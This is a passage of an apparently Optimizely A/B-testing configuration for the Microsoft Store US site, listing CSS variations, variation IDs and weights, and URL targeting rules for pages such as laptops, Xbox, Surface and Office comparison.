.exp-branding-wrapper{\nmargin:20px 0;\noverflow:hidden;\n}\n.exp-signaturebranding .exp-branding-wrapper.for-desktop{\ndisplay:none;\n}\n.exp-signaturebranding .exp-branding-wrapper .col-left{\nfloat:left;\nwidth:117px;\n}\n.exp-signaturebranding .exp-branding-wrapper .col-right{\nfloat:left;\nwidth:200px;\nmargin-left:30px;\n}\n\n/* Hide for multiple variations */\n.exp-signaturebranding .description-block.hide-option + .exp-branding-wrapper{\ndisplay:none;\n}\n\n@media screen and (min-width: 33.8125em){\n .exp-signaturebranding .exp-branding-wrapper.for-mobile{\n display:none;\n }\n .exp-signaturebranding .exp-branding-wrapper.for-desktop{\n display:block;\n }\n}","variation_ids":["1863350065","1862910051"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dell-Inspiron-15-3531-Signature-Edition-Laptop/productID.305359400"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dell-XPS-13-4289-Signature-Edition-Laptop/productID.306275600"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Dell-Inspiron-15-3531-Signature-Edition-Laptop/productID.305359400"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Acer-Aspire-S7-392-6425-Signature-Edition-Laptop/productID.306261100"}],"enabled_variation_ids":["1863350065","1862910051"]},"2202130164":{"variation_ids":["2200851033","2215270512"],"urls":[{"match":"substring","value":"/productID.309215600"},{"match":"substring","value":"/productID.309113800"},{"match":"simple","value":"/productID.306114700"},{"negate":true,"match":"substring","value":"/buy"}],"enabled_variation_ids":["2200851033","2215270512"]},"2352131839":{"css":".exp115BottomLocation .candy-rack li{\n width: 22% !important;\n float: left !important;\n margin: 0.75em 1em 1em !important;\n}\n\n.exp115BottomLocation .candy-rack .item-3{\n clear: none !important;\n}\n\n.exp115BottomLocation .pcf-main, .exp115BottomLocation .pcf-aside{\n width: 100% !important;\n clear: both !important;\n}\n\n.exp115HiddenCandyRack .rwd-aside-main{\n display:none;\n}\n\n@media screen and (min-width: 768px) {\n .exp115BottomLocation .candy-rack li {\n width: 20% !important;\n }\n}","clicktale":true,"variation_ids":["2386830380","2386350609","2319703311"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store?Action=DisplayPage&Locale=en_US&SiteID=msusa&id=ThreePgCheckoutShoppingCartPage"},{"negate":true,"match":"substring","value":"id=ThreePgCheckoutConfirmOrderPage"}],"enabled_variation_ids":["2386830380","2386350609","2319703311"]},"2560770822":{"css":".exp-under-bb-hide br, .exp-under-bb-hide span, .exp-under-bb-hide img{\n display:none !important;\n}\n.exp-under-bb-show br, .exp-under-bb-show span, .exp-under-bb-show img{\n display:block !important;\n}\n.exp-toggle-link{\n color:#1570a6;\n font-size:0.95em;\n display:inline;\n}\n.exp-toggle-link:hover{\n text-decoration:underline;\n}","variation_ids":["2562410779","2562300758"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Surface-Pro-3/productID.300190600"}],"enabled_variation_ids":["2562410779","2562300758"]},"2224540939":{"css":"/* Global */\n.clearfloat{\nclear:both;\n}\n.exp-twitter-variation2 .tweet a.purple{\ncolor:#846ba0 !important;\n}\n.exp-twitter-variation2 .tweet a.blue{\ncolor:#3077a1;\n}\n/* Section */\nsection.exp-twitter{\nmargin-top:3.75em;\n}\n\n\n/***** VARIATION @ ****/\n.exp-twitter-variation2 .exp-twitter-4 .module-title{\nmin-height:38px;\nline-height:40px;\nmargin-bottom:23px;\n}\n.exp-twitter-variation2 .exp-twitter-4 .rotate-left,\n.exp-twitter-variation2 .exp-twitter-4 .rotate-right{\ndisplay:none;\nwidth:46px;\nheight:46px;\nposition:absolute;\ntop:38%;\nz-index:3;\n}\n.exp-twitter-variation2 .exp-twitter-4 .rotate-left.hide-arrow,\n.exp-twitter-variation2 .exp-twitter-4 .rotate-right.hide-arrow{\ndisplay:none;\n}\n.exp-twitter-variation2 .exp-twitter-4 .rotate-left{\nbackground:url('http://dri1.img.digitalrivercontent.net/Storefront/Site/msusa/images/promo/Surface/Arrow_Left_Grey.png') no-repeat left top;\nleft:-8px;\n}\n.exp-twitter-variation2 .exp-twitter-4 .rotate-right{\nbackground:url('http://dri1.img.digitalrivercontent.net/Storefront/Site/msusa/images/promo/Surface/Arrow_Right_Grey.png') no-repeat left top;\nright:-8px;\ntop:38%;\n}\n.exp-twitter-variation2 .exp-twitter-4 .module-title .row-left{\nfloat:left;\nfont-size:40px;\nfont-family:\"wf_SegoeUILight\",\"Segoe UI\",\"Segoe\",\"Segoe WP\",\"Tahoma\",\"Verdana\",\"Arial\",\"sans-serif\";\n}\n.exp-twitter-variation2 .exp-twitter-4 .module-title .row-right{\nfloat:right;\nfont-size:18px;\nfont-weight:bold;\n}\n.exp-twitter-variation2 .exp-twitter-4 .module-title .row-right a{\ntext-decoration:none;\n}\n.exp-twitter-variation2 .exp-twitter-4 .col-sm-6{\npadding:0 5px 0 0;\nword-wrap: break-word;\n}\n.exp-twitter-variation2 .exp-twitter-4 .col-sm-6.tweet{\nbackground:url('//cdn.optimizely.com/img/222980912/24653a1ca164491597a09a676f60ba5a.png') no-repeat center 20px; \n}\n.exp-twitter-variation2 .exp-twitter-4 .product-row + .product-row .col-sm-6:last-child{\npadding-right:0;\n}\n.exp-twitter-variation2 .exp-twitter-4 .exp-container{\nborder:1px solid #d2d2d2;\n}\n.exp-twitter-variation2 .exp-twitter-4 .exp-container > img{\nwidth:100%; \n}\n.exp-twitter-variation2 .exp-twitter-4 .exp-container ul{\npadding:10px;\nmargin-top:15px;\nmargin-bottom:0;\n}\n.exp-twitter-variation2 .exp-twitter-4 .tweet .exp-container ul{\nmargin-top:55px; \n}\n.exp-twitter-variation2 .exp-twitter-4 .exp-container .person-info{\nmargin-top:10px;\n}\n.exp-twitter-variation2 .exp-twitter-4 .exp-container .person-info img{\nwidth:25px;\nheight:25px;\nfloat:left;\n}\n.exp-twitter-variation2 .exp-twitter-4 .exp-container .person-info .userinfo{\nfloat:left;\nmargin-left:5px;\nfont-size:14px;\n}\n.exp-twitter-variation2 .exp-twitter-4 .exp-container .person-info .userinfo span{\ncolor:#767676;\n}\n.exp-twitter-variation2 .exp-twitter-4 .exp-container .person-info .instagram{\nfloat:right; \nwidth:40px;\nheight:40px;\nposition:relative;\ntop:-5px;\n}\n\n@media \nonly screen and (max-width:768px){\n .exp-twitter-variation2 .exp-twitter-4 .module-title .row-left{\n font-size:25px; \n }\n .exp-twitter-variation2 .exp-twitter-4 .col-sm-6:last-child{\n padding-right:0;\n }\n .exp-twitter-variation2 .exp-twitter-4 .module-title .row-left{\n width:100%;\n line-height:30px;\n }\n}\n\n@media \nonly screen and (max-width:540px){\n .exp-twitter-variation2 .exp-twitter-4 .col-sm-6{\n padding-right:0;\n }\n .exp-twitter-variation2 .exp-twitter-4 .category-products{\n position:relative;\n }\n .exp-twitter-variation2 .exp-twitter-4 .category-products .slide-container-cutoff{\n overflow: hidden;\n }\n .exp-twitter-variation2 .exp-twitter-4 .category-products .row{\n position:relative;\n -webkit-transition: margin 0.5s ease-in-out;\n -moz-transition: margin 0.5s ease-in-out;\n -o-transition: margin 0.5s ease-in-out;\n transition: margin 0.5s ease-in-out;\n }\n .exp-twitter-variation2 .exp-twitter-4 .category-products .col-md-6,\n .exp-twitter-variation2 .exp-twitter-4 .category-products .col-sm-6{\n display:table-cell;\n }\n .exp-twitter-variation2 .exp-twitter-4 .exp-container{\n padding:10px 40px;\n }\n .exp-twitter-variation2 .exp-twitter-4 .rotate-left,\n .exp-twitter-variation2 .exp-twitter-4 .rotate-right{\n display:block;\n }\n .exp-twitter-variation2 .exp-twitter-4 .module-title .row-left{\n font-size:20px;\n width:200px;\n }\n}\n\n@media \nonly screen and (max-width:500px){\n .exp-twitter-variation2 .exp-twitter-4 .module-title{\n background-position:left 10px;\n margin-bottom:10px;\n }\n .exp-twitter-variation2 .exp-twitter-4 .module-title .row-left{\n width:80%;\n line-height:30px;\n }\n .exp-twitter-variation2 .exp-twitter-4 .module-title .row-right{\n line-height:30px;\n margin-top:5px;\n }\n}\n\n@media \nonly screen and (max-width:470px){\n .exp-twitter-variation2 .exp-twitter-4 .col-sm-6.tweet{\n background-position:center 50px; \n }\n .exp-twitter-variation2 .exp-twitter-4 .tweet .exp-container ul{\n margin-top:10px; \n }\n .exp-twitter-variation2 .exp-twitter-4 .person-info img{\n margin-top:4px;\n }\n .exp-twitter-variation2 .exp-twitter-4 .person-info .userinfo{\n line-height: 16px;\n margin-top:5px;\n }\n .exp-twitter-variation2 .exp-twitter-4 .person-info .userinfo span{\n display:block;\n }\n}\n\n\n.exp-textcallouts{\nmargin-bottom:75px; \n}\n.exp-textcallouts .exp-col{\n width:50%;\n float:left;\n}\n.exp-textcallouts .exp-col:first-child{\n padding-right:20px; \n}\n.exp-textcallouts .exp-col .text-large{\nfont-size:30px;\nfont-family:\"wf_SegoeUILight\",\"Segoe UI\",\"Segoe\",\"Segoe WP\",\"Tahoma\",\"Verdana\",\"Arial\",\"sans-serif\";\nfont-style:italic;\nmargin-bottom:20px;\n}\n\n@media \nonly screen and (max-width:768px){\n .exp-textcallouts .exp-col .text-large{\n\t\tfont-size:25px;\n }\n \n}\n\n@media \nonly screen and (max-width:540px){\n .exp-textcallouts .exp-col{\n\t width:100%;\n\t float:none;\n margin-bottom:20px;\n\t}\n}","variation_ids":["2220401112","2208451074"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/productID.308308800"},{"match":"substring","value":"/productID.308308800"}],"enabled_variation_ids":["2220401112","2208451074"]},"2172480268":{"variation_ids":["2177170243","2176260256"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store?Action=DisplayPage&Env=BASE&Locale=en_US&SiteID=msusa&id=ThreePgCheckoutShoppingCartPage"}],"enabled_variation_ids":["2177170243","2176260256"]},"2444121870":{"css":".exp-rr-358 .bv-cleanslate .bv-core-container-429 .bv-inline-rating-container .bv-rating, .exp-rr-358 .bv-cleanslate .bv-core-container-429 .bv-inline-rating-container .bv-rating-label, .exp-rr-358 .bv-cleanslate .bv-core-container-429 .bv-inline-rating-container .bv-text-link, .exp-rr-358 .bv-cleanslate .bv-core-container-429 .bv-inline-rating-container .bv-text-link:visited {\n color: #1570a6 !important;\n}\n.exp-rr-358 .bv-cleanslate .bv-core-container-429 .bv-inline-rating-container .bv-text-link:hover {\n color: #1570a6 !important;\n text-decoration:underline !important;\n}\n.exp-rr-358 .bv-cleanslate .bv-core-container-429 .bv-inline-rating-container .bv-rating, .exp-rr-358 .bv-cleanslate .bv-core-container-429 .bv-inline-rating-container .bv-rating-label, .exp-rr-358 .bv-cleanslate .bv-core-container-429 .bv-inline-rating-container .bv-text-link, .exp-rr-358 .bv-cleanslate .bv-core-container-429 .bv-inline-rating-container .bv-text-link:visited {\n color: #1570a6 !important;\n}\n.exp-rr-358 .bv-cleanslate .bv-core-container-429 .bv-inline-rating-container .bv-text-link:hover {\n color: #1570a6 !important;\n text-decoration:underline !important;\n}","variation_ids":["2412660849","2452500714","2438650855","2608720691"],"urls":[{"match":"substring","value":"/pdp/"},{"match":"substring","value":"/productID."},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/"},{"negate":true,"match":"substring","value":"/productID.300190600"}],"enabled_variation_ids":["2412660849","2452500714","2438650855","2608720691"]},"2380290238":{"variation_ids":["2388230127","2375390378"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Office/categoryID.62684700"}],"enabled_variation_ids":["2388230127","2375390378"]},"2561120019":{"audiences":[2098840430,1630774099],"css":".exp-bundlebuilder #cartSection .review-selected-products{\n display:none; \n}\n.exp-bundlebuilder #cartSection{\n bottom:101%;\n top:-5px;\n z-index:500;\n}\n.exp-bundlebuilder #cartSection .review-selected-products .text-content{\n display: block;\nmargin: 0 auto;\nwidth: 180px; \n}\n.exp-bundlebuilder .exp-product-corral-wrapper .product-corral{\n padding-left:5px; \n}\n.exp-bundlebuilder .exp-product-corral-wrapper .product-corral.full-height{\n padding-bottom:30px; \n}\n.exp-bundlebuilder .exp-product-corral-wrapper,\n.exp-bundlebuilder .exp-product-corral-wrapper .product-corral{\nbackground-color:#f5f5f5; \n}\n.exp-bundlebuilder .product-corral-wrapper .review-selected-products .icon-circledown {\n-webkit-transform: rotate(0deg);\n-moz-transform: rotate(0deg);\n-ms-transform: rotate(0deg);\n-o-transform: rotate(0deg);\ntransform: rotate(0deg);\n}\n.exp-bundlebuilder .product-corral-wrapper .review-selected-products .icon-circledown.expanded {\n-webkit-transform: rotate(180deg);\n-moz-transform: rotate(180deg);\n-ms-transform: rotate(180deg);\n-o-transform: rotate(180deg);\ntransform: rotate(180deg);\n}\n.exp-bundlebuilder .exp-product-corral-wrapper .product-corral .cart-submit{\nmargin-top: 5%;\nmargin-left: 20px;\nfloat: left;\nclear: none;\n}\n.exp-bundlebuilder .exp-next-arrow{\n float:left;\n margin-top:3%;\n margin-left:10px;\n position:relative;\n width:20px;\n}\n.exp-bundlebuilder .exp-next-arrow span{\n position:absolute;\ntop:50%;\ntransform: translate(0, -50%);\n-ms-transform: translate(0, -50%);\n-webkit-transform: translate(0, -50%); \n display: inline-block;\nwidth: 13px;\nheight: 16px;\nbackground: url('//cdn.optimizely.com/img/222980912/10449cc7e3f94864a7a411b07d7ee19f.png') no-repeat left top;\n}\n.exp-bundlebuilder .product-slot.choose-option + .exp-next-arrow span,\n.exp-bundlebuilder .product-slot.occupied + .exp-next-arrow span{\nbackground:url('//cdn.optimizely.com/img/222980912/7f190f8f6c2c4b4eb3bb3394e6e20425.png') no-repeat left top;\n}\n.exp-bundlebuilder .exp-product-corral-wrapper .product-corral .product-slot .title{\n position:absolute;\n top:-25px;\n font-size:14px;\n color:#cfcfcf;\n cursor: default;\n pointer-events: none;\n font-weight:bold;\n}\n.exp-bundlebuilder .exp-product-corral-wrapper .product-corral .product-slot .desc{\n \tposition:absolute;\n bottom:-25px;\n font-size: 12px;\n width: 130%;\n text-align: left; \n color:#cfcfcf;\n cursor: default;\n pointer-events: none;\n left:0;\n}\n.exp-bundlebuilder .exp-product-corral-wrapper .product-corral .product-slot .desc.offset-desc{\n left:-5px; \n}\n.exp-bundlebuilder .product-slot.choose-option:before,\n.exp-bundlebuilder .product-slot.occupied + .exp-next-arrow + .product-slot:before{\noutline:3px solid #27bdf1;\n}\n\n.exp-bundlebuilder .product-slot.choose-option .title,\n.exp-bundlebuilder .product-slot.occupied + .exp-next-arrow + .product-slot .title,\n.exp-bundlebuilder .product-slot.choose-option .desc,\n.exp-bundlebuilder .product-slot.occupied + .exp-next-arrow + .product-slot .desc,\n.exp-bundlebuilder .product-slot.occupied .title,\n.exp-bundlebuilder .product-slot.occupied .desc{\n color:#1a1a1a !important; \n}\n.exp-bundlebuilder .product-slot.occupied:before{\n outline:0 !important;\n}\n\n\n@media \nonly screen and (max-width: 1050px){\n .exp-bundlebuilder .exp-product-corral-wrapper .product-corral .product-slot .desc{\n display:none;\n\t}\n}\n@media \nonly screen and (max-width: 900px){\n .exp-bundlebuilder .exp-product-corral-wrapper .product-corral .exp-next-arrow{\n display:none; \n }\n}\n@media \nonly screen and (max-width: 768px){\n .exp-bundlebuilder .exp-product-corral-wrapper .product-corral .product-slot .title{\n display:none;\n\t}\n .exp-bundlebuilder .exp-product-corral-wrapper .product-corral .cart-submit{\n float:right;\n margin-top:20px;\n }\n}","clicktale":true,"variation_weights":{"2575870018":3334,"2563420449":3333,"2593620924":3333},"enabled":true,"variation_ids":["2575870018","2563420449","2593620924"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/DisplayProductPickerPage/offerID.44827370809/productID.305475700"}],"enabled_variation_ids":["2575870018","2563420449","2593620924"]},"2403811888":{"variation_ids":["2406731781","2448400550"],"urls":[{"match":"substring","value":"ThreePgCheckoutShoppingCartPage"}],"enabled_variation_ids":["2448400550"]},"2257840006":{"variation_ids":["2264590006","2255990004"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store?Action=DisplayPage&Env=BASE&Locale=en_US&SiteID=msusa&id=ThreePgCheckoutShoppingCartPage"}],"enabled_variation_ids":["2264590006","2255990004"]},"2215210279":{"variation_ids":["2216480774","2227312308"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Xbox/categoryID.62684900"}],"enabled_variation_ids":["2216480774","2227312308"]},"2583171893":{"css":"html.hide-chat #videodesk{\n display:none !important;\n}","variation_weights":{"2564302169":5000,"2595821636":5000},"enabled":true,"variation_ids":["2564302169","2595821636"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/categoryID.69405500"}],"enabled_variation_ids":["2564302169","2595821636"]},"2619000123":{"variation_ids":["2622230181","2620320116"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Answer-Desk/categoryID.63433500"}],"enabled_variation_ids":["2622230181","2620320116"]},"2131261251":{"audiences":[2098840430],"css":".exp-cartoverlay{\nposition:absolute;\nbottom:0;\nwidth:100%;\n}\n.exp-cartoverlay .exp-buttonslider{\nposition:absolute;\nright:0;\nbottom:0;\nwidth:50px;\nheight:50px;\nbackground:url('//cdn.optimizely.com/img/222980912/bcaa28bc8b784d80b65e639263080229.png') no-repeat left top;\n}\n.exp-cartoverlay.opened .exp-buttonslider{\nbackground:url('//cdn.optimizely.com/img/222980912/cc90535f0c16432da016f82349148d45.png') no-repeat left top;\n}\n.exp-addtocart{\nbackground-color:rgba(243, 243, 243, .8);\nmax-height:0px;\n-moz-transition: max-height .5s;\n-ms-transition: max-height .5s;\n-o-transition: max-height .5s;\n-webkit-transition: max-height .5s;\ntransition: max-height .5s;\noverflow:hidden;\n}\n.exp-cartoverlay.opened .exp-addtocart{\nmax-height:90px;\n}\n.exp-listbutton{\nbackground-color: #bad80a;\ncolor: #333;\ndisplay: inline-block;\nheight:48px;\nline-height:48px;\nwhite-space: nowrap;\nwidth:75%;\ntext-align:center;\nmargin: 20px 0px 20px 15px;\n}\n.exp-listbutton:hover{\ncolor:#fff;\nbackground-color:#7FBA00;\n}\n\n.lt-ie9 .exp-addtocart{\nbackground-color:#f3f3f3;\nfilter: alpha(opacity=40); /* For IE8 and earlier */\n}","variation_ids":["2125001044","2094880842"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Xbox-One/categoryID.64484500"},{"match":"substring","value":"/categoryID.64484500"}],"enabled_variation_ids":["2125001044","2094880842"]},"1028308300":{"conditions":[{"type":"code","value":"parent.document.location.href.indexOf('pbPage.videochat')>0"},{"type":"url","values":[{"value":"http://www.microsoftstore.com/store?Action=DisplayPage&Env=BASE&Locale=en_US&SiteID=msusa&id=ThreePgCheckoutShoppingCartPage","match":"simple"}]},{"only_first_time":true,"type":"visitor","value":"all"}],"css":".video-chat-text{\ntext-align:right;\ncolor:#e81123;\nfont-size:.9em;\n}","variation_ids":["1024036451","1027486722"],"enabled_variation_ids":["1027486722"]},"2580240722":{"css":"html.hide-chat #videodesk{\n display:none !important;\n}","variation_ids":["2594590390","2586460167"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/categoryID.69405700"}],"enabled_variation_ids":["2594590390","2586460167"]},"2283840342":{"variation_ids":["2297010059","2299010174"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store?Action=DisplayPage&Locale=en_US&SiteID=msusa&id=ThreePgCheckoutShoppingCartPage"}],"enabled_variation_ids":["2297010059","2299010174"]},"2506570584":{"audiences":[2098840430,2445740027],"css":"/* Custom Controls */\n.experiment-officewizard .custom-radiobutton{\n display:inline-block;\n width:23px;\n height:23px;\n border-radius:50%;\n -moz-border-radius:50%;\n -webkit-border-radius:50%;\n border:2px solid #a1a1a1;\n background-color:#fff;\n margin:3px 0 0 10px;\n float:left; \n}\n.experiment-officewizard .custom-radiobutton.active{\n background:#fff url('//cdn.optimizely.com/img/222980912/f38958d3dd574495816dc6212137a49a.png') no-repeat center center; \n}\n.experiment-officewizard .custom-checkbox{\n display:inline-block;\n width:23px;\n height:23px;\n border-radius:5px;\n -moz-border-radius:5px;\n -webkit-border-radius:5px;\n border:2px solid #a1a1a1;\n background-color:#fff;\n margin:3px 0 0 10px;\n float:left; \n}\n.experiment-officewizard .custom-radiobutton + label{\n cursor:pointer; \n}\n.experiment-officewizard .custom-checkbox.active{\nbackground:#fff url('//cdn.optimizely.com/img/222980912/5eabbdcdae84434d8f89bf913ad2857c.png') no-repeat center center;\n}\n.experiment-officewizard .custom-checkbox + label{\n cursor:pointer; \n}\n\n\n/* Adjust Table */\n.experiment-officewizard table.exp-comparetable{\n margin-top:0 !important; \n}\n.experiment-officewizard table.exp-comparetable td.table-title{\n background-color:#eeeeee !important; \n}\n.experiment-officewizard table.exp-comparetable td{\n padding:0 !important; \n}\n.experiment-officewizard table.exp-comparetable .col-wrap{\n position:relative;\n padding: 0 12px 20px 12px; \n border-top:1px solid transparent\n}\n.experiment-officewizard table.exp-comparetable .col-cover{\n display:none;\nwidth: 100%;\nheight: 101%;\nposition: absolute;\ntop: 0;\nleft: 0;\nbackground-color: rgba(255,255,255,.8); \n}\n.experiment-officewizard table.exp-comparetable .exp-product{\n margin-top:0; \n}\n.experiment-officewizard table.exp-comparetable .exp-buybox .col-wrap{\n padding-top:18px; \n}\n.experiment-officewizard table.exp-comparetable .col-cover.disable{\ndisplay:block;\n}\n.experiment-officewizard table.exp-comparetable .col-cover.disable.disable-override{\n display:none; \n}\n/* Adjust Table */\n.experiment-officewizard table.exp-comparetable{\n border-top:0; \n}\n.experiment-officewizard table.exp-comparetable .exp-buybox{\n border-top: 1px solid #cecece; \n}\n.experiment-officewizard table.exp-comparetable td{\n /*position:relative;*/\n}\n.experiment-officewizard table.exp-comparetable .exp-buybox td + td + td{\n background-color:#fff; \n}\n.experiment-officewizard table.exp-comparetable .exp-buybox td + td + td + td{\n background-color:#eee; \n}\n/* We Recommend */\n.experiment-officewizard table.exp-comparetable .we-recommend td{\n background-color:#fff;\n border:0;\n}\n.experiment-officewizard table.exp-comparetable .we-recommend td + td{\n border:0;\n height:35px;\n line-height:35px;\n color:#fff;\n font-weight:bold;\n text-align:center;\n background-color:#00204f;\n padding:0;\n visibility:hidden;\n\n}\n.experiment-officewizard table.exp-comparetable .we-recommend td.recommend{\n visibility:visible;\n}\n.experiment-officewizard table.exp-comparetable .we-recommend td.recommend span{\n background:url('//cdn.optimizely.com/img/222980912/38709130966e4257bca66fbd4c66c575.png') no-repeat center center;\ndisplay:inline-block;\n width:18px;\n height:9px;\n margin:0 auto;\nposition: absolute;\nbottom: -9px;\nleft: 45%;\nz-index:10;\n}\n.experiment-officewizard table.exp-comparetable .we-recommend td.recommend.adjust-col span{\n left:48%; \n}\n.experiment-officewizard table.exp-comparetable .we-recommend td .recommend-tile{\n position:relative;\n}\n.experiment-officewizard table.exp-comparetable .exp-buybox td.recommend{\n background-color:#cde4f4; \n}\n\n/* Wizard Boxes */\n#exp-wizard{\n min-width: 1052px; \n overflow:hidden;\n margin-bottom:25px;\n}\n#exp-wizard .wizard-box{\n width:32.3%; \n float:left;\n}\n#exp-wizard .wizard-box + .wizard-box{\n margin-left:1.5%; \n}\n#exp-wizard .wizard-box .row-item{\n height:32px;\n line-height:28px;\n position:relative;\n}\n#exp-wizard .wizard-box .row-item .row-cell{\n width:50%;\n float:left;\n}\n#exp-wizard .wizard-box .row-item label{\n margin-left:9px; \n}\n#exp-wizard .wizard-box .row-item.question{\n background-color:#1270a4;\n border-top:1px solid #a4c7db;\n border-bottom:1px solid #a4c7db;\n color:#fff;\n} \n#exp-wizard .wizard-box .row-item.question .step{\n background-color:#031e53;\n width:32px;\n height:30px;\n text-align:center;\n display:inline-block;\n}\n#exp-wizard .wizard-box .row-item.option{\nbackground-color:#d6cfd5;\n border-top:1px solid #e9e8e9;\n border-bottom:1px solid #e9e8e9;\n}\n#exp-wizard .wizard-box .row-item.option label{\n float:left; \n}\n/* Disabled */\n#exp-wizard .wizard-box.disabled .row-item.question{\n background-color:#eeeeee;\n color:#000;\n border-top:1px solid #f8f8f8;\n border-bottom:1px solid #f8f8f8;\n}\n#exp-wizard .wizard-box.disabled .row-item.question .step{\n background-color:#969696;\n color:#fff;\n}\n#exp-wizard .wizard-box .row-item .disabled-overlay{\ndisplay:none;\n}\n#exp-wizard .wizard-box.disabled .row-item .disabled-overlay,\n#exp-wizard .wizard-box .row-item.disabled .disabled-overlay{\n display:block;\n position:absolute;\n top:0;\n left:0;\n width:100%;\n height:100%;\n background-color:rgba(255,255,255,.8);\n z-index:10;\n}\n","clicktale":true,"variation_weights":{"2519670587":5000,"2501941147":5000},"enabled":true,"variation_ids":["2519670587","2501941147"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/html/pbpage.OfficeCompare"}],"enabled_variation_ids":["2519670587","2501941147"]},"2444020070":{"css":".exp-comp-chart-1253 #comparesuites{\n display:none;\n}\n.exp-comp-chart-1253 .exp-comp-chart-1253-hide{\n display:none;\n}","clicktale":true,"variation_weights":{"2427680172":3334,"2433710419":3333,"2444130316":3333},"enabled":true,"variation_ids":["2427680172","2433710419","2444130316"],"site_catalyst_evar":2,"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Office-365-Home/productID.286395000"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Office-365-Personal/productID.297833200"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Office-Home-amp-Student-2013/productID.259179500"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Office-Home-and-Business-2013/productID.259321600"},{"match":"substring","value":"/productID.286395000"},{"match":"substring","value":"/productID.297833200"},{"match":"substring","value":"/productID.259179500"},{"match":"substring","value":"/productID.259321600"}],"enabled_variation_ids":["2427680172","2433710419","2444130316"],"site_catalyst_prop":2},"2337280879":{"audiences":[2098840430],"css":".exp-xbox .show-desktop,\n.exp-xbox .show-tablet,\n.exp-xbox .show-mobile{ \n display:none !important; \n}\n\n@media \nonly screen and (min-width: 770px){\n .exp-xbox .show-desktop{\n display:block !important; \n }\n}\n\n@media \nonly screen and (min-width: 542px) and (max-width: 769px){\n .exp-xbox .show-tablet{\n display:block !important; \n }\n}\n\n@media \nonly screen and (min-width:0px) and (max-width: 541px){\n .exp-xbox .show-mobile{\n display:block !important; \n }\n}\n\n.exp-3up .exp-shopall{\n color:#107c10 !important; \n font-weight:bold;\n}\n\n\n.exp-3up .exp-shopall:hover{\n text-decoration:underline;\n}","variation_ids":["2355210825","2377791343"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Xbox/categoryID.62684900"},{"match":"substring","value":"/categoryID.62684900"}],"enabled_variation_ids":["2355210825","2377791343"]},"2442390384":{"activation_mode":"manual","variation_ids":["2414700235","2429870480"],"urls":[{"match":"substring","value":"http://www.microsoftstore.com/store/msusa/en_US/"}],"enabled_variation_ids":["2414700235","2429870480"]},"2580810103":{"css":"html.hide-chat #videodesk{\n display:none !important;\n}","variation_ids":["2589650525","2585800329"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Surface/categoryID.66734700"}],"enabled_variation_ids":["2589650525","2585800329"]},"2586480509":{"audiences":[2623230149],"css":"/* Tab Toggler */\n.exp-officecompare-toggler .table-toggler .toggle-wrapper{\n width:610px;\n margin:0 auto;\n}\n.exp-officecompare-toggler .table-toggler a{\n width:200px;\n height:50px;\n line-height:50px;\n text-align:center;\n font-weight:bold;\nfont-family: \"wf_SegoeUI\",\"Segoe UI\",\"Segoe\",\"Segoe WP\",\"Tahoma\",\"Verdana\",\"Arial\",\"sans-serif\";\nfont-size: 16px; \n background-color:#eee;\n color:#0d75c2;\n display:inline-block;\n float:left;\n}\n.exp-officecompare-toggler .table-toggler a + a{\n border-left:2px solid #fff; \n}\n.exp-officecompare-toggler .table-toggler a:hover,\n.exp-officecompare-toggler .table-toggler a.active{\n background-color:#0d75c2;\n color:#fff;\n}\n.exp-officecompare-toggler .table-toggler a:hover{\n text-decoration:underline; \n}\n.exp-officecompare-toggler .table-toggler a.active{\n text-decoration:none; \n}\n/* Toggle */\n.exp-officecompare-toggler table.exp-comparetable{\n display:none; \n}\n.exp-officecompare-toggler table.exp-comparetable.active{\n display:table; \n}\n/* Tables */\n.exp-officecompare-toggler table.exp-comparetable{\n border-top:0; \n}\n.exp-officecompare-toggler table.exp-comparetable td{\n line-height:20px; \n}\n.exp-officecompare-toggler table.exp-comparetable .exp-buybox a{\n color:#1570a6; \n font-family: \"wf_SegoeUI\",\"Segoe UI\",\"Segoe\",\"Segoe WP\",\"Tahoma\",\"Verdana\",\"Arial\",\"sans-serif\";\nfont-size: 15px; \n}\n.exp-officecompare-toggler table.exp-comparetable .app td{\n line-height:18px; \n}\n.exp-officecompare-toggler table.exp-comparetable th{\n height:48px; \n}\n.exp-officecompare-toggler table.exp-comparetable th.active .shell{\n\tborder:1px solid #c1c1c1; \n color:#767676;\n height:40px;\n line-height:40px;\n text-align:center;\n font-size:13px;\n font-weight:bold;\n position:relative;\n top:8px;\n}\n.exp-officecompare-toggler table.exp-comparetable th.active .arrow{\n height:8px;\n width:16px;\n position:relative;\n top:7px;\n\tmargin:0 auto;\n background:url('//cdn.optimizely.com/img/222980912/047e9aca1c3b4c479c49b3fb4340a94b.png') no-repeat center bottom; \n}\n.exp-officecompare-toggler table.exp-comparetable .exp-buybox .exp-product img{\n height:132px; \n}\n/* Layouts */\n.exp-officecompare-toggler table.exp-comparetable.four-prod 